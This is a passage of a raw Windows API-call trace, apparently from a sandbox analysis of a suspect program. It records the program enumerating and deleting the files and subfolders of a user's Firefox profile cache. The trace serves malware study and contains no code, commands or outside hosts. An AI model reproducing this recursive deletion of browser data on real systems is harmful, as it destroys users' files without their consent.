dwReserved1=0x3a0043, cFileName="65483d01", cAlternateFileName="")) returned 0 [0117.573] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.573] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.573] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.573] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.573] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A\\CE" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\a\\ce")) returned 1 [0117.573] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7bbcd50, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7bbcd50, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7bbcd50, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="CE", cAlternateFileName="")) returned 0 [0117.573] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.573] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.573] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.573] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.573] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\A" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\a")) returned 1 [0117.573] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="B", cAlternateFileName="")) returned 1 [0117.573] lstrlenW (lpString="B") returned 1 [0117.573] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="B" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B" [0117.573] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B") returned 81 [0117.573] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.574] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.574] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.574] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\*.*" [0117.574] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.574] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.574] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x635c4810, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635c4810, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635c4810, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="35", cAlternateFileName="")) returned 1 [0117.574] lstrlenW (lpString="35") returned 2 [0117.574] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B", pszFile="35" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35" [0117.574] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35") returned 84 [0117.574] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.574] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.574] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.574] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35\\*.*" [0117.574] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x635c4810, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635c4810, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635c4810, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.575] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x635c4810, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635c4810, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635c4810, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.575] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x635c4810, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635c4810, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635c4810, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xa05f, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="D456Ed01", cAlternateFileName="")) returned 1 [0117.575] lstrlenW (lpString="D456Ed01") returned 8 [0117.575] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35", pszFile="D456Ed01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35\\D456Ed01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35\\D456Ed01" [0117.575] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35\\D456Ed01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b\\35\\d456ed01")) returned 1 [0117.575] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x635c4810, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x635c4810, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x635c4810, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xa05f, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="D456Ed01", cAlternateFileName="")) returned 0 [0117.575] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.575] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.575] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.575] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.575] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\35" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b\\35")) returned 1 [0117.575] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56530050, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x565561b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x565561b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="3E", cAlternateFileName="")) returned 1 [0117.575] lstrlenW (lpString="3E") returned 2 [0117.576] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B", pszFile="3E" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E" [0117.576] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E") returned 84 [0117.576] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.576] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.576] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.576] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E\\*.*" [0117.576] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56530050, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x565561b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x565561b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.576] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56530050, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x565561b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x565561b0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.576] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x565561b0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x565561b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x568c2150, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x14963, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="50FD5d01", cAlternateFileName="")) returned 1 [0117.576] lstrlenW (lpString="50FD5d01") returned 8 [0117.576] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E", pszFile="50FD5d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E\\50FD5d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E\\50FD5d01" [0117.576] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E\\50FD5d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b\\3e\\50fd5d01")) returned 1 [0117.576] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x565561b0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x565561b0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x568c2150, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x14963, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="50FD5d01", cAlternateFileName="")) returned 0 [0117.576] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.576] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.577] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.577] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\3E" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b\\3e")) returned 1 [0117.577] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="64", cAlternateFileName="")) returned 1 [0117.577] lstrlenW (lpString="64") returned 2 [0117.577] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B", pszFile="64" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64" [0117.577] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64") returned 84 [0117.577] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.577] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.577] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.577] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64\\*.*" [0117.577] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.585] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7d85dd0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.585] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7df81f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x1b117, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="37ABBd01", cAlternateFileName="")) returned 1 [0117.585] lstrlenW (lpString="37ABBd01") returned 8 [0117.585] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64", pszFile="37ABBd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64\\37ABBd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64\\37ABBd01" [0117.585] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64\\37ABBd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b\\64\\37abbd01")) returned 1 [0117.585] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7d85dd0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf7d85dd0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf7df81f0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x1b117, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="37ABBd01", cAlternateFileName="")) returned 0 [0117.585] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.585] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.585] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.585] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.585] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\64" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\b\\64")) returned 1 [0117.586] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5695a6d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56980830, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56980830, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="89", cAlternateFileName="")) returned 1 [0117.586] lstrlenW (lpString="89") returned 2 [0117.586] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B", pszFile="89" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89" [0117.586] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89") returned 84 [0117.586] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.586] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.586] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.586] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89\\*.*" [0117.586] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\B\\89\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5695a6d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56980830, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56980830, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.586] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5695a6d0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56980830, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56980830, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.586] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56980830, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x56980830, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x56ad7490, ftLastWriteTime.dwHighDateTime=0x1d2f18b, 